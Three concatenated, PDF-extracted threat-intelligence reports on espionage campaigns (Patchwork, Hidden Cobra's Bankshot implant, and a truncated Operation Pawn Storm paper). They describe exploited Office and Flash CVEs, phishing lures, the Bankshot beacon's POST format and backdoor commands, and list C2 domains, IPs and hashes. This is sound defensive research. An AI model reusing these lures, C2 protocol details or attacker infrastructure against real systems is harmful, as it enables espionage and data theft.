Aviation, NGOs, energy, financial, among industries targeted by Patchwork cyberespionage group 1/7 https://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries https://www.symantec.com/connect/user/joji-hamada https://www.symantec.com/connect/zh-hans/blogs/patchwork https://www.symantec.com/connect/blogs/patchwork-1 https://www.symantec.com/connect/ja/blogs/patchwork-0 https://www.symantec.com/connect/blogs/patchwork-2 Attack vector Our first observation of an attempted attack related to this campaign dates back to November 2015, although Symantec telemetry data indicates that the campaign may have already existed in early 2015 or perhaps even earlier.
The threat actor mainly relies on a legitimate mailing list provider to send newsletters to a select number of targets.
The newsletter includes a link to the attackers website, which has content focusing on topics related to China to draw the targets interest.
These websites are hosted on the same domains as the mailing list provider.
Each website is customized for the intended target, and contains specialized topics related to the targeted industries.
Figure 1.
A customized website with content related to a Chinese public hospital 2/7 Figure 2.
A customized website with content related to the Chinese military The malicious sites link to files hosted on different domains, which appear to be solely used for malicious purposes.
The domains are registered under names that pose as legitimate sources for Chinese intelligence.
Several domains predominantly used in the attacks are hosted on two servers with the IP addresses 212.83.146.3 and 37.58.60.195.
These websites host two different types of malicious files: a PowerPoint file (.pps) and a rich text file with a Word .doc extension.
The PowerPoint files appear to exploit the Microsoft Windows OLE Package Manager Remote Code Execution Vulnerability (CVE-2014-4114), which was used in the Sandworm attacks against American and European targets in October 2014.
The rich text files typically attempt to exploit the Microsoft Office Memory Corruption Vulnerability (CVE-2015-1641), which was patched in April 2015.
We have also confirmed an older flaw being exploited, the Microsoft Windows Common Controls ActiveX Control Remote Code Execution Vulnerability (CVE-2012-0158).
From what we can confirm, the documents contain copies of publicly available content taken from legitimate websites.
Topics range from military/defense, hospital, naval disputes, and even malware removal.
Malicious PowerPoint files The .pps files likely exploit the Microsoft Windows OLE Package Manager Remote Code Execution Vulnerability (CVE-2014-4114).
However, the exploit for this particular campaign is a slight variation of similar exploits observed in the past.
The exploit takes advantage of how the patch is designed to only warn users, rather than completely prevent malware infections without user interaction.
Nothing happens when the file is opened on PowerPoint 2016.
However, when the file is opened on older versions of PowerPoint, it displays a security warning asking whether the user wants to open driver.inf depending on the environment, such as the version of the operating system and the patch applied.
3/7 https://www.symantec.com/security_response/vulnerability.jsp?bid70419 http://www.symantec.com/connect/blogs/sandworm-windows-zero-day-vulnerability-being-actively-exploited-targeted-attacks https://www.symantec.com/security_response/vulnerability.jsp?bid73995 http://www.securityfocus.com/bid/52911 https://www.symantec.com/security_response/vulnerability.jsp?bid70419 Figure 3.
Opening the .pps file on PowerPoint versions earlier than 2016 displays this prompt If the user chooses to open the file, the computer will be compromised.
If the user chooses not to open it, the computer will not be infected.
However, Backdoor.
Enfourks will be dropped, though not executed, into the temporary directory when the .pps file is opened.
This poses a risk of compromise to the intended target.
We have confirmed this issue on all versions of PowerPoint tested in the lab.
Users should manually remove any potential dropped files which would typically be named sysvolinfo.exe.
Malicious Word .doc file Besides the .pps file, the threat actor uses rich text files to deliver the malware.
While other researchers have reported that these files exploit CVE-2012-0158, Symantec has also observed CVE-2015-1641 being exploited to drop Backdoor.
Steladok.
Main payloads Both the .doc and .pps files mainly drop two malware families.
Typically, the PowerPoint Slide file drops Backdoor.
Enfourks, an AutoIT executable which is usually bloated with meaningless data and targets mainly 32-bit systems.
The .doc file drops Backdoor.
Steladok.
While both back door Trojans wait for commands from the threat actor, they can search for files and upload them to the specified server once activated.
For unknown reasons, both threats use Baidu, the Chinese software vendor, in their routines.
The Trojans confirm an internet connection by pinging Baidus server and create a registry entry with the vendors name to run every time Windows starts.
As two file types are used to deliver two different payloads, there are likely multiple individuals or groups contributing to the malware development efforts.
Mitigation Users should adhere to the following advice to prevent Patchworks attacks from succeeding: Delete any suspicious-looking emails you receive, especially if they contain links or attachments.
Spear-phishing emails are frequently used by cyberespionage attackers as a means of luring victims into opening malicious files.
Keep your operating system and other software updated.
Software updates will frequently include patches for newly discovered security vulnerabilities which are frequently exploited by attackers.
Keep your security software up to date to protect yourself against any new variants of this malware.
4/7 https://www.symantec.com/security_response/writeup.jsp?docid2016-053106-2208-99 https://www.symantec.com/security_response/writeup.jsp?docid2016-060613-0635-99 Protection Symantec and Norton products detect Patchworks malware as follows: Antivirus: Intrusion prevention system: System Infected: Backdoor.
Steladok Activity System Infected: Backdoor.
Enfourks Activity Indicators of compromise The following details suspicious domains, IP addresses, and files, which may indicate that Patchwork has compromised a computer: Suspected domains and IP addresses: chinastrats.com epg-cn.com extremebolt.com info81.com lujunxinxi.com militaryworkerscn.com milresearchcn.com modgovcn.com newsnstat.com nudtcn.com socialfreakzz.com 81-cn.net cnmilit.com nduformation.com expatchina.info info81.com climaxcn.com expatchina.info miltechcn.com miltechweb.com securematrixx.com 46.166.163.242 212.129.13.110 Detection name MD5 File name Trojan.
PPDropper 0bbff4654d0c4551c58376e6a99dfda0 Trojan.
PPDropper 1de10c5bc704d3eaf4f0cfa5ddd63f2d MilitaryReforms2.pps Trojan.
PPDropper 2ba26a9cc1af4479e99dcc6a0e7d5d67 2016_China_Military_PowerReport.pps Trojan.
PPDropper 375f240df2718fc3e0137e109eef57ee PLA_UAV_DEPLOYMENT.pps Trojan.
PPDropper 38e71afcdd6236ac3ad24bda393a81c6 militarizationofsouthchinasea_1.pps Trojan.
PPDropper 3e9d1526addf2ca6b09e2fdb5fd4978f How_to_easily_clean_an_infected_computer.pps Trojan.
PPDropper 475c29ed9373e2c04b7c3df6766761eb PLA_Forthcoming_Revolution_in_Doctrinal_Affairs.pps 5/7 https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid29400 https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid29380 Trojan.
PPDropper 4dbb8ad1776af25a5832e92b12d4bfff maritime_dispute.pps Trojan.
PPDropper 4dbb8ad1776af25a5832e92b12d4bfff Clingendael_Report_South_China_Sea.pps Trojan.
PPDropper 543d402a56406c93b68622a7e392728d 2016_China_Military_PowerReport.pps Trojan.
PPDropper 551e244aa85b92fe470ed2eac9d8808a Assessing_PLA_Organisational_Reforms.pps Trojan.
PPDropper 6877e60f141793287169125a08e36941 Clingendael_Report_South_China_Sea.pps Trojan.
PPDropper 6d8534597ae05d2151d848d2e6427f9e cn-lshc-hospital-operations-excellence.pps Trojan.
PPDropper 74fea3e542add0f301756581d1f16126 Clingendael_Report_South_China_Sea_20160517Downloaded.pps Trojan.
PPDropper 812a856288a03787d85d2cb9c1e1b3ba Trojan.
PPDropper 8f7b1f320823893e159f6ebfb8ce3e78 Trojan.
PPDropper b163e3906b3521a407910aeefd055f03 china_security_report_2016.pps Trojan.
PPDropper d456bbf44d73b1f0f2d1119f16993e93 Trojan.
PPDropper e7b4511cba3bba6983c43c9f9014a49d Chinastrats.com netflix2.pps Trojan.
PPDropper ebfa776a91de20674a4ae55294d85087 Chinese_Influence_Faces_2.pps Trojan.
PPDropper eefcef704b1a7bea6e92dc8711cfd35e Top_Five_AF.pps Detection name MD5 File name Table 1.
Malicious PowerPoint slides associated with this campaign Detection name MD5 File name Trojan.
Mdropper 2099fcd4a81817171649cb38dac0fb2a Trojan.
Mdropper 3d852dea971ced1481169d8f66542dc5 China_Vietnam_Military_Clash.doc Trojan.
Mdropper 4ff89d5341ac36eb9bed79e7afe04cb3 Cyber_Crime_bill.doc Trojan.
Mdropper 7012f07e82092ab2daede774b9000d64 china_report_EN_web_2016_A01.doc Trojan.
Mdropper 735f0fbe44b70e184665aed8d1b2c117 Cyber_Crime_bill.doc Trojan.
Mdropper 7796ae46da0049057abd5cfb9798e494 Trojan.
Mdropper e5685462d8a2825e124193de9fa269d9 PLA_Forthcoming_Revolution_in_Doctrinal_Affairs2.doc Trojan.
Mdropper f5c81526acbd830da2f533ae93deb1e1 Job_offers.doc Table 2.
Malicious rich text files associated with this campaign Detection name MD5 Backdoor.
Steladok 0f09e24a8d57fb8b1a8cc51c07ebbe3f Backodor.
Enfourks 233a71ea802af564dd1ab38e62236633 Backdoor.
Steladok 2c0efa57eeffed228eb09ee97df1445a Backodor.
Enfourks 3ac28869c83d20f9b18ebbd9ea3a9155 Trojan.
Gen.2 465de3db14158005ede000f7c0f16efe Trojan.
Gen.2 4fca01f852410ea1413a876df339a36d Backodor.
Enfourks 61e0f4ecb3d7c56ea06b8f609fd2bf13 6/7 Backodor.
Enfourks 6b335a77203b566d92c726b939b8d8c9 Backodor.
Enfourks a4fb5a6765cb8a30a8393d608c39d9f7 Backodor.
Enfourks b594a4d3f7183c3af155375f81ad6c3d Backodor.
Enfourks b7433c57a7111457506f85bdf6592d18 Backodor.
Enfourks b7433c57a7111457506f85bdf6592d18 Backodor.
Enfourks c575f9b40cf6e6141f0ee40c8a544fb8 Backodor.
Enfourks d8102a24ca00ef3db7d942912765441e Backdoor.
Steladok f47484e6705e52a115a3684832296b39 Backodor.
Enfourks f7ce9894c1c99ce64455155377446d9c Infostealer ffab6174860af9a7c3b37a7f1fb8f381 Detection name MD5 Table 3.
Payloads associated with this campaign Tags: Products, Endpoint Protection, Security Response, APT, Backdoor.
Enfourks, Backdoor.
Steladok, CVE-2012-0158, CVE-2014-4114, CVE-2015-1641, South East Asia, UK, USA Subscriptions (0) 7/7 https://www.symantec.com/connect/search?filtersim_vid_31:691 https://www.symantec.com/connect/product/endpoint-protection-vdi https://www.symantec.com/connect/search?filtersim_vid_51:2261 https://www.symantec.com/connect/search?filtersim_vid_111:37391 https://www.symantec.com/connect/search?filtersim_vid_111:101021 https://www.symantec.com/connect/search?filtersim_vid_111:101031 https://www.symantec.com/connect/search?filtersim_vid_111:101011 https://www.symantec.com/connect/search?filtersim_vid_111:100991 https://www.symantec.com/connect/search?filtersim_vid_111:101001 https://www.symantec.com/connect/search?filtersim_vid_111:100961 https://www.symantec.com/connect/search?filtersim_vid_111:64091 https://www.symantec.com/connect/search?filtersim_vid_111:91491 Patchwork cyberespionage group expands targets from governments to wide range of industries
March 8, 2018 Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot- implant/ By Ryan Sherstobitoff on Mar 08, 2018 This post was prepared with contributions from Asheer Malhotra, Charles Crawford, and Jessica Saavedra-Morales.
On February 28, the McAfee Advanced Threat Research team discovered that the cybercrime group Hidden Cobra continues to target cryptocurrency and financial organizations.
In this analysis, we observed the return of Hidden Cobras Bankshot malware implant surfacing in the Turkish financial system.
Based on the code similarity, the victims business sector, and the presence of control server strings, this attack resembles previous attacks by Hidden Cobra conducted against the global financial network SWIFT.
In this new, aggressive campaign we see a return of the Bankshot implant, which last appeared in 2017.
Bankshot is designed to persist on a victims network for further exploitation thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations.
Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document.
The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency.
The exploit, which takes advantage of CVE-2018-4878, allows an attacker to execute arbitrary code such as an implant.
the Further investigation into this campaign and analysis of McAfee product telemetry shows that the infection occurred on March 2 and 3.
The implants first target was a major government-controlled financial organization.
It next appeared in another Turkish government organization involved in finance and trade.
A further three large financial institutions in Turkey were victims of this attack.
The implant has so far not surfaced in any other sector or country.
This campaign suggests the attackers may plan a future heist against these targets by using Bankshot to gather information.
Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity.
The malicious domain falcancoin.io was created December 27, 2017, and was updated on February 19, only a few days before the implants began to appear.
These implants are variations of earlier forms of Bankshot, a remote 1/17 https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/ https://securingtomorrow.mcafee.com/blogs/author/ryan-sherstobitoff/ https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/ https://www.swift.com/ https://securingtomorrow.mcafee.com/mcafee-labs/hackers-bypassed-adobe-flash-protection-mechanism/ https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-1.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-2-1.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-3.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-4.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-5.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-6.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-7.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-8.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-9.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-10.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-11.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-12.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-14.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-15.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-16.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-17.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-18.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-19.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-20.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-21.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-22.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-23.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-24.png access tool that gives an attacker full capability on a victims system.
This implant also contains functionality to wipe files and content from the targeted system to erase evidence or perform other destructive actions.
Bankshot was first reported by the Department of Homeland Security on December 13, 2017, and has only recently resurfaced in newly compiled variants.
The sample we analyzed is 99 similar to the documented Bankshot variants from 2017.
Bankshot implants hosted on falcancoin.io.
The Bankshot implant is attached to a malicious Word document with the filename Agreement.docx.
The document appears to be an agreement template for Bitcoin distribution between an unknown individual in Paris and a to-be-determined cryptocurrency exchange.
The author of this document is test-pc.
It was created February 26 and was submitted from the Netherlands.
The document contains an embedded Flash script that exploits CVE-2018-4878 and downloads and executes the DLL implant from falcancoin.io.
We discovered two more documents, written in Korean, that exploit the same vulnerability as Agreement.docx.
These documents appear to be part of the same campaign and may have been used on different targets.
These documents also communicated with falcancoin.io to install Bankshot and also contain themes around cryptocurrency security.
Two Flash files exploit CVE-2018-4878.
843c17b06a3aee22447f021307909890b68828b9 (February 25) 343ebca579bb888eb8ccb811f9b52280c72e484c (February 25 2/17 https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF Malicious documents in the attack.
Malicious document exploiting CVE-2018-4878.
3/17 The implants are downloaded via a Flash file embedded in the malicious document.
They are executed when the victim views the document.
The malicious site falcancoin.io embedded in the Flash file.
Implant directory contained in the malicious Flash file.
The implants (DLLs) are disguised as ZIP files and communicate with three control servers, two of them Chinese-language online gambling sites.
These URLs can be found hardcoded in the implants code.
4/17 Hardcoded control server URLs.
Analyzing Bankshot The sample (a2e966edee45b30bb6bb5c978e55833eec169098) is a Windows DLL that serves as a backdoor and contains a variety of capabilities.
The malicious DLL is not a service DLL because it lacks ServiceMain().
To mask itself, it can run as a regular library loaded into a legitimate process.
The malware begins by creating a new thread from the DllMain() function to carry out its malicious activities: 5/17 New thread created in the malwares DllMain() function.
The malware performs the following activities: Builds imports by dynamically loading APIs Decrypts strings needed for control server communications Performs control server communications Handles commands issued by the control server Uninstalls self from the system The malicious thread dynamically loads the APIs it needs at the beginning of its execution using LoadLibrary() and GetProcAddress().
APIs from the following libraries are loaded at runtime: Kernel32.dll Ws2_32/wsock32.dll Apvapi32.dll Oleaut32.dll Iphlp.dll Urlmon.dll A dynamic API loaded by the malware.
Based on packet capture analysis of previous implants from 2017, the following strings are used in control server communications: Connection: keep-alive Cache-Control: max-age0 Accept: / Content-Type: multipart/form-data boundary Content-Type: application/octet-stream Accept-Encoding: gzip,deflate,sdch Accept-Language: ko-KR - Korean Content-Disposition: form-datanameboard_id 6/17 Content-Disposition: form-datanameuser_id Content-Disposition: form-datanamefile1 filenameimg01_29.jpg Content-Disposition: form-datanamefile1 filenamemy.doc Content-Disposition: form-datanamefile1 filenamepratice.pdf Content-Disposition: form-datanamefile1 filenameking.jpg Content-Disposition: form-datanamefile1 filenamedream.avi Content-Disposition: form-datanamefile1 filenamehp01.avi Content-Disposition: form-datanamefile1 filenamestar.avi User Agents The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary: Mozilla/5.0 (Windows NT 6.1 WOW64) Chrome/28.0.1500.95 Safari/537.36 Control Server Communications The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data, such as: ------FormBoundaryrandomly_generated_characters Content-Disposition: form-data nameboard_id 8306 ------FormBoundaryrandomly_generated_characters Content-Disposition: form-data nameuser_id dJUJEMUNQ ------FormBoundaryrandomly_generated_characters Content-Disposition: form-data namefile1 filenameking.jpg Content-Type: application/octet-stream board_id is a four-digit number that may be an identifier for a campaign ID.
Based on analysis of previous samples, this is a unique identifier.
user_id is a hardcoded value in the malware binary that is sent to the control server.
The username appears to be attacker specified and has occurred in 2017 Bankshot samples.
This links the previous samples with this unique username.
filename is based on static analysis.
This looks like a specific beacon to indicate that the malware is ready to receive commands.
The optional HTTP data with king.jpg looks like a beacon to inform the control server that the malware is ready to accept new commands: Commands received from the control server are encoded DWORDs 7/17 After decoding, these DWORDs should be in the range 123459h to 123490h Malware checking to make sure a received command is in the correct range.
The command index calculator and jump to the appropriate command.
8/17 The command index table and command handler address table.
Implant Capabilities Based on the responses received from the control server, the malware can carry out the following malicious tasks: Recursively generate a list of files in a directory and send to the control server Terminate a specific process.
The process is identified by the control server sending the PID to the malware.
9/17 The capability to execute system commands.
The capability to terminate a process.
Gather network addresses and operating system version Execute arbitrary commands using cmd.exe /c 10/17 https://securingtomorrow.mcafee.com/wp-content/uploads/2018/03/20180307-Hidden-Cobra-13.png Spawning arbitrary processes.
Create processes Write responses from the control server to a file Send information for all drives Write data sent by the control server to a temporary file matching the file path pattern temp\DWS00 Change the time of a file as specified by the control server The malware changing the file time.
Create a process by impersonating a logged-on user 11/17 Getting a user token using WTSQueryUserToken.
A process created as logged-in user.
Gather the process time for all processes Getting time information for all processes running on the system.
Gather domain and account names based on all running processes 12/17 Gathering account information from running processes.
Read a specified files contents and send the data to the control server Write data sent by the control server to an existing file Mark a file to be deleted on reboot Marking a file for deletion on reboot.
Overwrite a file with all zeros and mark it for deletion on reboot 13/17 Wiping files with zeros and marking it for deletion on reboot.
Delete files using the DeleteFile() API Load an arbitrary library into its process space.
This may be used to load additional downloaded components of the attack.
14/17 Loading an arbitrary library into its own process space.
After every action is performed the malware sends a response to the control server indicating whether the action was successful.
Connections The US government reports that Bankshot is used by Hidden Cobra to target multiple industries including financial organizations.
This implant has been connected to a major Korean bank attack and is also known as Trojan Manuscript.
That variant contained the capability to search for hosts related to the SWIFT network and the same control server strings as the variant we found targeting the Turkish financial sector.
The implant does not conduct financial transactions rather it is a channel into the victims environment, in which further stages of implants can be deployed for financial reconnaissance.
The Bankshot implant was also observed in 2017 in documents appearing to come from Latin American banks.
Malicious document delivering the Bankshot implant in 2017.
These connections, combined with the implants nearly identical appearance to known variants, are a strong indication that we have uncovered a Hidden Cobra attack.
Further, previous implants from 2017 contained bogus documents with financially themed content.
A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash 6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017).
Conclusion 15/17 https://www.us-cert.gov/ncas/alerts/TA17-318A https://www.blackhat.com/docs/eu-17/materials/eu-17-Shen-Nation-State Moneymules-Hunting-Season-APT-Attacks-Targeting-Financial-Institutions.pdf We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey (and possibly other countries).
In this campaign, we see the adoption of a recent zero-day Adobe Flash vulnerability to get the implant onto the victims systems.
The campaign has a high chance of success against victims who have an unpatched version of Flash.
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal.
This is the first time that Bankshot has been tied directly to financial-related hacking and the first time it has been used since November 2017.
McAfee detects these threats as: RDN/Generic Exploit RDN/Generic.dx Generic PWS.y Generic.hbg Exploit-CVE2018-4878 McAfee customers are also covered by McAfee Global Threat Intelligence Web Reputation classification, which rate these URLs as High Risk.
Indicators of Compromise MITRE ATTCK techniques Exfiltration over command and control channel Commonly used port Command-line interface Service execution Automated collection Data from local system Process discovery System time discovery Credential dumping Exploitation of vulnerability Process injection File deletion Hashes 650b7d25f4ed87490f8467eb48e0443fb244a8c4 65e7d2338735ec04fd9692d020298e5a7953fd8d 16/17 166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7 a2e966edee45b30bb6bb5c978e55833eec169098 Domains 530hr[dot]com/data/common.php 028xmz[dot]com/include/common.php 168wangpi[dot]com/include/charset.php Falcancoin[dot]io 17/17 Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant Analyzing Bankshot User Agents Control Server Communications Implant Capabilities Connections Conclusion Indicators of Compromise MITRE ATTCK techniques Hashes Domains
A Trend Micro Research Paper Operation Pawn Storm Using Decoys to Evade Detection Loucif Kharouni Feike Hacquebord Numaan Huq Jim Gogolinski Fernando Mercs Alfred Remorin Douglas Otis Forward-Looking Threat Research Team Trend Micro  Operation Pawn Storm TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only.
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CONTENTS Introduction ....................................................................................................................................1 Ties That Bind the Operation Pawn Storm Attacks Together .........................................................2 SEDNIT....................................................................................................................................2 Attack Timeline ........................................................................................................................2 Attack Details ...........................................................................................................................4 Attack Evolution .......................................................................................................................5 Next-Level Phishing Targets ..................................................................................................11 Case 1: Ministry of Defense, Hungary .............................................................................11 Case 2: OSCE, Austria ....................................................................................................13 Case 3: SAIC, United States ...........................................................................................13 Case 4: Academi ..............................................................................................................13 Other Webmail Services ........................................................................................................14 Conclusion ...................................................................................................................................16 References ..................................................................................................................................17 Trend Micro  Operation Pawn Storm 1 INTRODUCTION Operation Pawn Storm refers to economic and political espionage attacks instigated by a group of threat actors primarily targeting military, embassy, and defense contractor personnel from the United States and its allies.
Opposing factions to and dissidents of the Russian government, international media, and even the national security department of a U.S. ally were also targeted.
The threat actors used three attack vectors spear-phishing emails with malicious attachments, an advanced network of phishing websites, and exploits injected into legitimate conference and media websites.
They used a nonmalicious JavaScript to victimize Microsoft Outlook Web Access (OWA) users from carefully selected target organizations.
The OWA phishing attacks proved extremely effective and could be particularly dangerous to any organization that allows employees to use OWA.
An in-depth look at six multistage attacks revealed one thing in commonthe use of SEDNIT/Sofacy malware [1], [2].
The use of such multistage downloaders provided attackers additional protection against detection.
We believe the threat actors aimed to confuse their targets IT administrators by making it hard for them to string attack components together, thus evading detection.
This research paper details when certain attacks occurred, what tools were used in attempts to get in to target networks, and target profiles to form a general picture of Operation Pawn Storm.
Trend Micro  Operation Pawn Storm 2 TIES THAT BIND THE OPERATION PAWN STORM ATTACKS TOGETHER SEDNIT SEDNIT malware are mostly backdoors [3], [4] and information stealers [5] that log affected users keystrokes, steal system information, and send stolen information to remote command-and-control (CC) servers.
Analyses of the SEDNIT infectors that arrived as email attachments in the attacks featured in this paper revealed six distinct chains [see diagram on page 3].
Attack Timeline The investigation focused on a group of attacks that has been dubbed Operation Pawn Storm [6] due to the attackers use of two or more connected tools/tactics to attack a specific target similar to the chess strategy it was named after.
This paper illustrates how the Pawn Storm attacks were carried out with the aid of five spear-phishing emails, which used contextually relevant subjects to get specific targets from different countries to open weaponized attachments designed to compromise their systems.
Timeline of spear-phishing emails sent to specific targets The attackers sent emails to potential victims, including military, embassy, and defense contractor personnel.
The following emails were among those that were found related to this operation: An email sent to a potential victim from the Ministry of Defense in France had an exploit for CVE-2010-3333 [7] disguised as a document named International Military.rtf.
Trend Micro received a sample of this on October 17, 2011 and has been detecting it as TROJ_ARTIEF.AP [8] since then.
An email sent to a potential victim working from the Vatican Embassy in Iraq used reports of a bombing incident [9] that occurred on January 9, 2012 as social engineering lure.
3 Trend Micro  Operation Pawn Storm SEDNIT infectors attached to targeted attack campaign emails Sent a day after the incident, the email had a Microsoft Word file attachment named IDF_Spokesperson_Terror_ Attack_011012.doc, which exploited CVE-2012-0158 [10].
Sample email sent to recipients from the Vatican Embassy in Iraq Exploit for CVE-2012-0158 disguised as a Word (.DOC) file Trend Micro  Operation Pawn Storm 4 An email sent on September 20, 2013 to military officials from several countries used the then-upcoming Asia-Pacific Economic Cooperation (APEC) Indonesia 2013 conference as bait.
The email had two Microsoft Excel file attachments named APEC Media list 2013 Part1.xls, which exploited CVE-2012-0158, and APEC Media list 2013 Part2.xls, which was nonmalicious.
Sample email sent to military officials across countries using the APEC Indonesia 2013 conference as bait Exploit for CVE-2012-0158 disguised as an Excel (.XLS) file (APEC Media list 2013 Part1.xls) An email sent to Pakistani military officials on January 23, 2014 used the Homeland Security Summit Middle East [11] conference as bait.
It had a Word file attachment named Details.
doc, which exploited CVE-2012- 0158.
Sample email sent to military officials from Pakistan using the Homeland Security Summit Middle East conference as bait An email sent to Polish government employees [12] on August 11, 2014 had a MIME HTML (.MHT) file attachment named MH17.doc, which exploited CVE-2012-0158.
Exploit for CVE-2012-0158 disguised as a MIME HTML (.MHT) file Attack Details All of the observed Operation Pawn Storm attacks comprised several stages.
Each attack had at least two phases: In phase 1, opening the email attachment displays a decoy document while the exploit runs in the background.
The exploit drops a downloader component (.DLL file) named netids.dll, netidt.dll, or coreshell.dll.
Trend Micro  Operation Pawn Storm 5 In phase 2, the downloader component communicates with a CC server and downloads a dropper that ultimately installs a keylogger.
After capturing information from infected systems, the keylogger sends data back to the CC server.
Phases 1 and 2 in an Operation Pawn Storm attack We only managed to collect latter- stage payloads for two out of the six aforementioned attacks.
The CC servers tied to the other four attacks refused to serve the rest of the files to complete the attack chains.
Multistage attacks are a double-edged sword.
If one link in the attack chain, aside from the end node, is detected and removed in the initial infection stage, the entire attack fails.
On the other hand, having several links in the attack chain makes detecting the final component more difficult.
Tracing the previous and next links is also difficult when any of the components is inspected on its own outside the attack chain.
Although some of the CC servers were still alive at the time of investigation, they did not respond to our infected systems.
Repeated attempts to trick the CC servers into serving the next files in the incomplete attack chains failed.
The attacks they were tied to could be time sensitive and it is possible that they no longer hosted the files for succeeding stages.
Attack Evolution Even though the filenames used for different components remained fairly consistent from 2010 to the present, earlier attacks were more elaborate and complex compared with those seen this year.
The 2014 attacks we have seen were more streamlined.
Trend Micro  Operation Pawn Storm 6 Comparison of an Operation Pawn Storm attack in 2011 and another in 2014 Although variations in past and current attack chains exist, both are still being used by threat actors to date to ensure one thingdetection evasion.
The following table compares and contrasts the six Operation Pawn Storm attacks in greater detail.
7 Trend Micro  Operation Pawn Storm Operation Pawn Storm Attack Comparison Case 1 Case 2 Case 3 [13] Case 4 Case 5 Case 6 Unknown exploit, possibly disguised as a .PDF, .DOC, or .RTF file, carries the top-level dropper (dropper.exe SHA- 1: 72cfd996957bde0 6a02b0adb2d66d8a a9c25bf37) .RTF file exploits CVE-2010-3333 (SHA-1: 956d1a360 55c903cb570890da 69deabaacb5a18a) and drops saver.scr (SHA-1: e8b55d9aef f124df4008b0d372bf 2f2d3e5e5ae7) Unknown exploit carries a dropper (Dropper DLL SHA-1: 9c622b39521183dd 71ed2a174031ca15 9beb6479) Two .XLS files come with spear-phishing emails: First file (APEC Media list 2013 Part1.xls SHA- 1: a90921c182c b90807102ef40 2719ee8060910 345) exploits CVE-2012-0158 Second file (APEC Media list 2013 Part2.
xls SHA-1: b30 98f99db1f80e27 aec0c9a5a625a edaab5899a) is a decoy document .RTF file (SHA-1: 78d28072fdabf0b5a ac5e8f337dc768d07 b63e1e) exploits CVE-2012-0158 and drops saver.scr (SHA-1: 7FBB5A2E4 6FACD3EE0C945F3 24414210C2199FF B) into Local Settings\Temp\ .MHT file drops: MH17.doc (SHA-1: DAE7F AA1725DB8192 AD711D759B13 F8195A18821), a decoy document, into Local Settings\Temp\ W.q (SHA-1: 8D EF0A554F1913 4A5DB3D2AE9 49F9500CE3D D2CE), a dropper, into Local Settings\Temp\ 8 Trend Micro  Operation Pawn Storm Operation Pawn Storm Attack Comparison Case 1 Case 2 Case 3 [13] Case 4 Case 5 Case 6 Dropper.exe drops: Decoy file (Letter to IAEA.
pdf SHA-1: 6ad a11c71a5176a8 2a8898680ed1e aa4e79b9bc3) into Local Settings\Temp\ Downloader (netids.dll SHA- 1: c5ce5b7d10a ccb04a4e45c3a 4dcf10d16b192 e2f) into Local Settings\ Application Data\ Saver.scr drops: Decoy document (Military Cooperation.
doc SHA-1: 0E 12C8AB9B89B6 EB6BAF16C4B 3BBF9530067 963F) into Local Settings\Temp\ Skype.exe (SHA-1: 550AB D71650BAEA05 A0071C4E084A 803CB413C31), a SEDNIT variant, into Local Settings\Temp\ Cryptmodule.
